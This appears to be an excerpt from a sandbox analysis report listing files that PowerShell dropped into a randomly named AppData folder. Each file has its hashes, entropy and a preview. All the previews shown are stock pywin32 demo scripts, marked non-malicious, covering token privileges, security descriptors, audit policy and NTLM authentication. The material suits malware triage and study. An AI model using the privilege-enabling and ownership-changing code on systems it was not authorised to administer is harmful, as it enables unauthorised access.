              Entropy (8bit):4.8217987561958005
              Encrypted:false
              SSDEEP:
              MD5:36AE55ECA7E61DD9D9A9EB3CE6634D26
              SHA1:E8D7F767A8C2F23A7550EC885A9CD2E631D01068
              SHA-256:DFB854F3D6FFBCC306FA74A9F88DAAE17C669C018D1E4A40AD939DA9F497D043
              SHA-512:357D4D360A781292C9DDD89149A446A1909B0DEF0EBE38087A37B3C3F86F708548089B994BF3EFC3953171E44D02C690956848AFEF796EB5D12E303BEF034036
              Malicious:false
              Reputation:unknown
              Preview:import win32api.import win32security.import winerror.from ntsecuritycon import *...# This is a Python implementation of win32api.GetDomainName().def GetDomainName():. try:. tok = win32security.OpenThreadToken(win32api.GetCurrentThread(), TOKEN_QUERY, 1). except win32api.error as details:. if details[0] != winerror.ERROR_NO_TOKEN:. raise. # attempt to open the process token, since no thread token. # exists. tok = win32security.OpenProcessToken(win32api.GetCurrentProcess(), TOKEN_QUERY). sid, attr = win32security.GetTokenInformation(tok, TokenUser). win32api.CloseHandle(tok).. name, dom, typ = win32security.LookupAccountSid(None, sid). return dom...if __name__ == "__main__":. print("Domain name is", GetDomainName()).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\regsave_sa.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):1690
              Entropy (8bit):5.320880029428467
              Encrypted:false
              SSDEEP:
              MD5:6839DCBAFD537FCD03128D64D6DDAF88
              SHA1:1230CA9595A5556C8BEFD6E7F343499F86634C95
              SHA-256:7AE2098259C3EE6535460E061202B7345E6884EF561231E4D8505DA90A573554
              SHA-512:97A5744424DCC879947F10FC1A375CCA988A5A49A486D53744223ED64AC9E00F94731D4A033BB47EFF69432265CE8F091858C5DEC43C4B84D5EE42A8FAA17E09
              Malicious:false
              Reputation:unknown
              Preview:fname = "h:\\tmp.reg"..import os..import ntsecuritycon.import pywintypes.import win32api.import win32con.import win32security..## regsave will not overwrite a file.if os.path.isfile(fname):. os.remove(fname)..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_BACKUP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),.).ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS | win32con.TOKEN_ADJUST_PRIVILEGES.).win32security.AdjustTokenPrivileges(th, 0, new_privs).my_sid = win32security.GetTokenInformation(th, ntse

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\regsecurity.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):1121
              Entropy (8bit):5.34664595251249
              Encrypted:false
              SSDEEP:
              MD5:2C220CB380A755404147D2E3BA4C5011
              SHA1:8FC74D6B17D8ABE8B70F9B2A2253D1D945B6F2FE
              SHA-256:F7F632E99DBDE61350D2A3184AE49DE93FF288D087EEA9221476B1487947F095
              SHA-512:BC1DB9C209C723BC943C13888CE202282E24E30105433304017CD22F9DD7DE852F895AA973D01C559B492184B82B7761304B53B065D07A244559C437FDCAB6D9
              Malicious:false
              Reputation:unknown
              Preview:import ntsecuritycon.import win32api.import win32con.import win32security..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),.).ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS | win32con.TOKEN_ADJUST_PRIVILEGES.)..win32security.AdjustTokenPrivileges(th, 0, new_privs).hkey = win32api.RegOpenKey(. win32con.HKEY_LOCAL_MACHINE, None, 0, win32con.KEY_ALL_ACCESS.).win32api.RegCreateKey(hkey, "SYSTEM\\NOTMP").notmpkey = win32api.RegOpenKey(. hkey, "SYSTEM\\notmp", 0, win32con.ACCESS_SYSTEM_SECURITY.)..tmp_sid = win32security.LookupAccountName("", "tmp")[0].sacl = win32security.ACL().sacl.AddAuditAccessAce(win32security.ACL_REVISION, win32con.GENERIC_ALL, tmp_sid, 1, 1)..sd = win32security.SECURITY_DESCRIPTOR

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\sa_inherit.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):281
              Entropy (8bit):5.121297598616513
              Encrypted:false
              SSDEEP:
              MD5:585C9D69157820F89A295C77539CC0A7
              SHA1:2BF372C54C793C22FD252A31687F20B32ED1D40E
              SHA-256:07368D5693F1F59A9A75B0B8019622EF0C13686CF769F7A6FCF11C8298F9D6B7
              SHA-512:531A9CB035B034D5A51207FE39FA458D47E5AFF76A13B750AD4F9C4FD13E8E45A57EF9D1D39132D8699D39459204D255A773428C9509481A3E4DA4F0A3F9B3E7
              Malicious:false
              Reputation:unknown
              Preview:import pywintypes.import win32security..sa = pywintypes.SECURITY_ATTRIBUTES().tmp_sid = win32security.LookupAccountName("", "tmp")[0].sa.SetSecurityDescriptorOwner(tmp_sid, 0).sid = sa.SECURITY_DESCRIPTOR.GetSecurityDescriptorOwner().print(win32security.LookupAccountSid("", sid)).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\security_enums.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):9455
              Entropy (8bit):5.099713879626992
              Encrypted:false
              SSDEEP:
              MD5:1022B8A344444AE8ED0CE8B28B63B356
              SHA1:89F0A09E8B9A4BE32C6062F42BE4ABE7115BD6F2
              SHA-256:91BA21A23BF7AB044F49A8E7E7264ACFF0109DE3281D30969BED0FFCFE4FC6B0
              SHA-512:2706E6EDC6983E86BFA1CDF6777881254ABBF7359CF41D74D68C7E586E0DE294576F6F4DEB7628155CC339E2155A8D41E2137291B2AA22BBB6A75C1AA8565EE9
              Malicious:false
              Reputation:unknown
              Preview:import ntsecuritycon.import win32security.import winnt...class Enum:. def __init__(self, *const_names):. """Accepts variable number of constant names that can be found in either. win32security, ntsecuritycon, or winnt.""". for const_name in const_names:. try:. const_val = getattr(win32security, const_name). except AttributeError:. try:. const_val = getattr(ntsecuritycon, const_name). except AttributeError:. try:. const_val = getattr(winnt, const_name). except AttributeError:. raise AttributeError(. 'Constant "%s" not found in win32security, ntsecuritycon, or winnt.'. % const_name. ). setattr(self, const_name, const_val).. def lookup_name(self, const_val):. """Looks up the name of a particular value.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\set_file_audit.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3372
              Entropy (8bit):5.295959335066199
              Encrypted:false
              SSDEEP:
              MD5:2DB725B308FF772F50BC84EF9809EE40
              SHA1:86ED4BA5FCE949AFCBCA967733867231A023521A
              SHA-256:DBC8B5F7C6D4F28D6506703A110BBD452FB4231B4127281223A44D8E79CE5CFC
              SHA-512:ABAB163113EE68A20BF70B1A89BF01CF3A4EC512F0299B671BF68DBC48BD62F41E052AB8C3EA1EA02C96973A2DF62F51B0BA27BB3A11BE55A20F3B093FC7E89E
              Malicious:false
              Reputation:unknown
              Preview:import os..import ntsecuritycon.import win32api.import win32con.import win32file.import win32security.from win32security import (. ACL_REVISION_DS,. CONTAINER_INHERIT_ACE,. DACL_SECURITY_INFORMATION,. GROUP_SECURITY_INFORMATION,. OBJECT_INHERIT_ACE,. OWNER_SECURITY_INFORMATION,. PROTECTED_DACL_SECURITY_INFORMATION,. SACL_SECURITY_INFORMATION,. SE_FILE_OBJECT,.)..## SE_SECURITY_NAME needed to access SACL, SE_RESTORE_NAME needed to change owner to someone other than yourself.new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),.).ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS | win32con.TOKEN_ADJUST_PRIVILEGES.).modified_privs = win32security.AdjustTokenPrivileges(th, 0, new_privs

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\set_file_owner.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):2258
              Entropy (8bit):5.257866200243561
              Encrypted:false
              SSDEEP:
              MD5:FDFAC9188A86C2D91EC792520151731A
              SHA1:CB6EF5643BF3DBCA85EF4001215ABDDECC14D0B3
              SHA-256:CDC4E5B7AE77D537E930D42288E2DA434FB5C7AE2E8FCF6F6CAB433E62100228
              SHA-512:CB0A01D281A0C9D8E273F0D16D3364BE61A034233485B86471FB466DD4151EFDBE3750FED7BD8EC5DD12C29129EF8B93A873BF878A0D58B3B0A6E35C378EB3CC
              Malicious:false
              Reputation:unknown
              Preview:fname = r"h:\tmp.txt"..import ntsecuritycon.import win32api.import win32con.import win32file.import win32security..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TAKE_OWNERSHIP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_CREATE_PERMANENT_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", "SeEnableDelegatio

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\set_policy_info.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):965
              Entropy (8bit):5.211924428673646
              Encrypted:false
              SSDEEP:
              MD5:ECF5691E717B094357E941118E31434C
              SHA1:A6749854996DB82308E0D8C0A3AC1372FC67FF48
              SHA-256:E5D33C48D397F60FF60F9A5C6F0425C4FB2A8669320C8D14ACF4F430C239440A
              SHA-512:3426EE7152F575B329E24B6F2D7FD5C8044DDBDB3A63108235813F523C77020C0303F5F0ED1F25914BF908648F1183700695C728384B41D2225BE4799D11E80F
              Malicious:false
              Reputation:unknown
              Preview:import ntsecuritycon.import win32api.import win32file.import win32security..policy_handle = win32security.GetPolicyHandle("rupole", win32security.POLICY_ALL_ACCESS)..event_audit_info = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyAuditEventsInformation.).print(event_audit_info)..new_audit_info = list(event_audit_info[1]).new_audit_info[win32security.AuditCategoryPolicyChange] = (. win32security.POLICY_AUDIT_EVENT_SUCCESS | win32security.POLICY_AUDIT_EVENT_FAILURE.).new_audit_info[win32security.AuditCategoryAccountLogon] = (. win32security.POLICY_AUDIT_EVENT_SUCCESS | win32security.POLICY_AUDIT_EVENT_FAILURE.).new_audit_info[win32security.AuditCategoryLogon] = (. win32security.POLICY_AUDIT_EVENT_SUCCESS | win32security.POLICY_AUDIT_EVENT_FAILURE.)..win32security.LsaSetInformationPolicy(. policy_handle, win32security.PolicyAuditEventsInformation, (1, new_audit_info).)..win32security.LsaClose(policy_handle).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\setkernelobjectsecurity.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):4917
              Entropy (8bit):5.272689420786585
              Encrypted:false
              SSDEEP:
              MD5:EF8021AF7913DDA04DDF02F2C0DE7C23
              SHA1:00BC54F54DCBB9A5A24DE537941BC25DD4AA7C13
              SHA-256:4B7C41345F179C949CB6EF6014B170B85CAEF1E85815AFAD4B6EE702361159AA
              SHA-512:38F53067622A35A712FFAFE44472563A9052B822BB370AF6844896792C1A39D0E23797065EFE00EAA9F74614BFDB1B8F9B9A924D0487D4B70F81DE26C83D63AD
              Malicious:false
              Reputation:unknown
              Preview:import win32api.import win32con.import win32process.import win32security..## You need SE_RESTORE_NAME to be able to set the owner of a security descriptor to anybody.## other than yourself or your primary group. Most admin logins don't have it by default, so.## enabling it may fail.new_privs = (. (. win32security.LookupPrivilegeValue("", win32security.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TAKE_OWNERSHIP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivileg

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\setnamedsecurityinfo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):4392
              Entropy (8bit):5.2487634042183835
              Encrypted:false
              SSDEEP:
              MD5:4ABA1E68BAC79456F9C3A0609712D9EB
              SHA1:A9D86A09BBCD2AF8380189B71614A22501EE6351
              SHA-256:7E1144512E75466D6BE8CE265F88CBB33EB0FB5F3D6EDACEA99F1317A2FF98E1
              SHA-512:A0316A045611F4270245766BF712D6378F4BCC38203760834075CE5854D60F95F71B6618C758D455D19DB1C736A7FE8C379D31BFF4F8D449EFC90BB7EC58DDE9
              Malicious:false
              Reputation:unknown
              Preview:import win32api.import win32con.import win32process.import win32security..fname, tmp = win32api.GetTempFileName(win32api.GetTempPath(), "tmp").print(fname).## You need SE_RESTORE_NAME to be able to set the owner of a security descriptor to anybody.## other than yourself or your primary group. Most admin logins don't have it by default, so.## enabling it may fail.new_privs = (. (. win32security.LookupPrivilegeValue("", win32security.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TAKE_OWNERSHIP_NAME),.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\setsecurityinfo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):4541
              Entropy (8bit):5.258881603906181
              Encrypted:false
              SSDEEP:
              MD5:9DB47F76ED6E8A88CBE1E4B9F23CE295
              SHA1:24630AB98FFAF3B001F7F7F85CE9B8265BF53C63
              SHA-256:2AD30A8C118FA254D47A4C31E04B5D16524B486A80C7DEB4A9381052B786B0B5
              SHA-512:05046DA2645B83997EB094A1FED82D2BFA4E84C2841B4792DAE44933376D1926D1F3B9B96DDE8DD486DCBC1271EB05683D5A57C8528F75128CA43715A74B9A04
              Malicious:false
              Reputation:unknown
              Preview:import win32api.import win32con.import win32process.import win32security..## You need SE_RESTORE_NAME to be able to set the owner of a security descriptor to anybody.## other than yourself or your primary group. Most admin logins don't have it by default, so.## enabling it may fail.new_privs = (. (. win32security.LookupPrivilegeValue("", win32security.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TAKE_OWNERSHIP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivileg

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\setuserobjectsecurity.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):3382
              Entropy (8bit):5.237699635064882
              Encrypted:false
              SSDEEP:
              MD5:7DCADEC88612DD294016B68E78555986
              SHA1:8944F04FBDDB40F986D6BBC56D91C9458568F2AC
              SHA-256:4A6A9531E547F1B37C95633D70C0187C42EC814E8754C1BFA2E49C105CC4953E
              SHA-512:50837D9BA259B0F9DF8DC9F82CD3FEFF30952879AF9AEC1E2077E53E8316F5499D119B52309F5D042F543DB0D41368BDC8FA902611CE23B850077FD3FB4170FE
              Malicious:false
              Reputation:unknown
              Preview:import win32api.import win32con.import win32process.import win32security..new_privs = (. (. win32security.LookupPrivilegeValue("", win32security.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TCB_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_TAKE_OWNERSHIP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_CREATE_PERMANENT_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", win32security.SE_ENABLE_DELEGATION_NAME),. win32con.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\sspi\fetch_url.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5481
              Entropy (8bit):4.3341623144023025
              Encrypted:false
              SSDEEP:
              MD5:4FB50CD03A213D9C3696D05DD228F03F
              SHA1:F6C604FD9A3B939D350C76623D0556DF412913F3
              SHA-256:5F10CB276CCAA10D00FBD01126B316C045DC26D65C2F5F03825D19084D44048D
              SHA-512:BC5FB9C1978733BF174E70B8956BEA1641D6B066AEEE499C5212CC55D72B646B4D6AF8A5106AC3F1FC744DC1D0CD5986EDD7EC8BAD1F039BF4E93125612EA179
              Malicious:false
              Reputation:unknown
              Preview:""".Fetches a URL from a web-server supporting NTLM authentication.eg, IIS...If no arguments are specified, a default of http://localhost/localstart.asp.is used. This script does follow simple 302 redirections, so pointing at the.root of an IIS server is should work.."""..import http.client # sorry, this demo needs 2.3+.import optparse.import urllib.error.import urllib.parse.import urllib.request.from base64 import decodestring, encodestring..from sspi import ClientAuth..options = None # set to optparse options object...def open_url(host, url):. h = http.client.HTTPConnection(host). # h.set_debuglevel(9). h.putrequest("GET", url). h.endheaders(). resp = h.getresponse(). print("Initial response is", resp.status, resp.reason). body = resp.read(). if resp.status == 302: # object moved. url = "/" + resp.msg["location"]. resp.close(). h.putrequest("GET", url). h.endheaders(). resp = h.getresponse(). print("After redire

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\sspi\simple_auth.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2857
              Entropy (8bit):5.268166314469273
              Encrypted:false
              SSDEEP:
              MD5:C903127F2939DF13251320C082311B90
              SHA1:6F6DF731BE829317C134B731817939DEBE071A97
              SHA-256:F76852F275C183F907DF441FF63A9A53BC48DC725331D3DCAB3848A41A5EA32F
              SHA-512:747A8E05304303EF8AAFFF2D46FA3D858967B05DD31BA13CDAE698EFF4E553CE6793303FA65B2C13234874E979A24DF4F587C9A79AF9502388BB4CE83F76202A
              Malicious:false
              Reputation:unknown
              Preview:# A demo of basic SSPI authentication..# There is a 'client' context and a 'server' context - typically these will.# be on different machines (here they are in the same process, but the same.# concepts apply).import sspi.import sspicon.import win32api.import win32security...def lookup_ret_code(err):. for k, v in list(sspicon.__dict__.items()):. if k[0:6] in ("SEC_I_", "SEC_E_") and v == err:. return k...""".pkg_name='Kerberos'.sspiclient=SSPIClient(pkg_name, win32api.GetUserName(), ## target spn is ourself. None, None, ## use none for client name and authentication information for current context. ## u'username', (u'username',u'domain.com',u'passwd'),. sspicon.ISC_REQ_INTEGRITY|sspicon.ISC_REQ_SEQUENCE_DETECT|sspicon.ISC_REQ_REPLAY_DETECT| \. sspicon.ISC_REQ_DELEGATE|sspicon.ISC_REQ_CONFIDENTIALITY|sspicon.ISC_REQ_USE_SESSION_KEY).sspiserver=SSPIServer(pkg_name, None,. sspicon.ASC_REQ_INTEGRITY|sspicon.ASC_REQ_SEQUENCE_DETECT|sspicon.ASC_RE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\sspi\socket_server.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6361
              Entropy (8bit):4.427558647447183
              Encrypted:false
              SSDEEP:
              MD5:75D5A35B4EE8B8DC4E4FDD5B5400584B
              SHA1:4EE7C6CF3B71822A268672C2405C1509916333DC
              SHA-256:9A9AF6C5EF6044CA082AEDE43EBFCEE1917B7DEC1F377323B679F1F2330673DF
              SHA-512:5DCBB7B5A989C7D26861BC23D60AA79B014B4A172CD9C4401C8BEFB88A53F8928A83A60CD3813B2ECA2A85676A5A572AFD74FE2A0B43920E76AE74ADF542B217
              Malicious:false
              Reputation:unknown
              Preview:"""A sample socket server and client using SSPI authentication and encryption...You must run with either 'client' or 'server' as arguments. A server must be.running before a client can connect...To use with Kerberos you should include in the client options.--target-spn=username, where 'username' is the user under which the server is.being run...Running either the client or server as a different user can be informative..A command-line such as the following may be useful:.`runas /user:{user} {fqp}\python.exe {fqp}\socket_server.py --wait client|server`..{fqp} should specify the relevant fully-qualified path names...To use 'runas' with Kerberos, the client program will need to.specify --target-spn with the username under which the *server* is running...See the SSPI documentation for more details.."""...import http.client # sorry, this demo needs 2.3+.import optparse.import socketserver.import struct.import traceback..import sspi.import win32api.import win32security..options = None # se

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\sspi\validate_password.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1128
              Entropy (8bit):4.72989402530247
              Encrypted:false
              SSDEEP:
              MD5:7BD62BDDEA1DCCC3865FAA118C757D2C
              SHA1:B61E0C8977189AB067449C38D2A1D6284D61C25F
              SHA-256:1A3DABD6ED521A3D0D4F9B5C08B888C31F5BCF4279FE8CC7B2C98210F77936F9
              SHA-512:4ED8BCE08C20A18110A1FCD97C26CE5B6B1CF82EB755F8F72DE72693742E1726AAA455461139FE30154CD5D4C10723E33097EE33AC1439E62FC7676B73E99668
              Malicious:false
              Reputation:unknown
              Preview:# Demonstrates how to validate a password..# See also MSKB article Q180548.#.# To use with Kerberos you need to jump through the 'targetspn' hoops...import sys..import win32security.from sspi import ClientAuth, ServerAuth...def validate(username, password, domain=""):. auth_info = username, domain, password. ca = ClientAuth("NTLM", auth_info=auth_info). sa = ServerAuth("NTLM").. data = err = None. while err != 0:. err, data = ca.authorize(data). err, data = sa.authorize(data). # If we get here without exception, we worked!...if __name__ == "__main__":. if len(sys.argv) not in [2, 3, 4]:. print("Usage: %s username [password [domain]]" % (__file__,)). sys.exit(1).. # password and domain are optional!. password = None. if len(sys.argv) >= 3:. password = sys.argv[2]. domain = "". if len(sys.argv) >= 4:. domain = sys.argv[3]. try:. validate(sys.argv[1], password, domain). print("Validated OK").

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\service\nativePipeTestService.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2135
              Entropy (8bit):4.562211316978868
              Encrypted:false
              SSDEEP:
              MD5:4F13CA50A137FD86C6F22E1F0082970F
              SHA1:5E24BA918FFD189703DC09360460C870B6C9E9A7
              SHA-256:2970786059E4DB3E95D38D38A6BBF6A16D4E520FE077BF8D86582106673A20B7
              SHA-512:8BCFDA29A39851B622DCA268474F1FCB61E3E7C66FE3980D314B57A956BB72CFA324BE19F82F5D8D6F193A17571B91B09D91D7100D899D587890FEABE146990A
              Malicious:false
              Reputation:unknown
              Preview:# This is an example of a service hosted by python.exe rather than.# pythonservice.exe...# Note that it is very rare that using python.exe is a better option.# than the default pythonservice.exe - the latter has better error handling.# so that if Python itself can't be initialized or there are very early.# import errors, you will get error details written to the event log. When.# using python.exe instead, you are forced to wait for the interpreter startup.# and imports to succeed before you are able to effectively setup your own.# error handling...# So in short, please make sure you *really* want to do this, otherwise just.# stick with the default...import os.import sys..import servicemanager.import win32serviceutil.from pipeTestService import TestPipeService...class NativeTestPipeService(TestPipeService):. _svc_name_ = "PyNativePipeTestService". _svc_display_name_ = "Python Native Pipe Test Service". _svc_description_ = "Tests Python.exe hosted services". # tell win32serv

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\service\pipeTestService.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6893
              Entropy (8bit):4.585752418885161
              Encrypted:false
              SSDEEP:
              MD5:B21995DADB96151A3178C89778F5821F
              SHA1:592856A829A06EB302353B70E7B0999F50A885EC
              SHA-256:6EA910AC3A4B58C77F4B312753F894367DCA3FADB5A23D1F70A60526CA7F1133
              SHA-512:1AD8A118582AB2D8CD145B219347F0216E2FB73AF3ACC57DD25E1EB8074D7D81C3599C5DA864F26686688E142DEAF74AC7F18435483F10B7DDC4C97FD70EB42B
              Malicious:false
              Reputation:unknown
              Preview:# A Demo of services and named pipes...# A multi-threaded service that simply echos back its input...# * Install as a service using "pipeTestService.py install".# * Use Control Panel to change the user name of the service.# to a real user name (ie, NOT the SystemAccount).# * Start the service..# * Run the "pipeTestServiceClient.py" program as the client pipe side...import _thread.import traceback..# Old versions of the service framework would not let you import this.# module at the top-level. Now you can, and can check 'Debugging()' and.# 'RunningAsService()' to check your context..import pywintypes.import servicemanager.import win32con.import win32service.import win32serviceutil.import winerror.from ntsecuritycon import *.from win32api import *..# Use "import *" to keep this looking as much as a "normal" service.# as possible. Real code shouldn't do this..from win32event import *.from win32file import *.from win32pipe import *...def ApplyIgnoreError(fn, args):. try:. ret

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\service\pipeTestServiceClient.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script text executable Python script, ASCII text executable
              Category:dropped
              Size (bytes):4481
              Entropy (8bit):4.484804480076562
              Encrypted:false
              SSDEEP:
              MD5:40792A85E480392D45275CF67BE01422
              SHA1:9CBD58C86FC710B6C4CEC25B375503C445F92256
              SHA-256:B4A535554E7553743175B46A37DD038F01A32ACFF72D965C8EDC72AEE7676C06
              SHA-512:E82BB319609EADDFFE0491149F2F37CE227A9CC7D74845482F0BF8FA694C3E0A0E8A360EE87057AF08D71945E55E3D1D1E334A9171E58E100142A2643E96617B
              Malicious:false
              Reputation:unknown
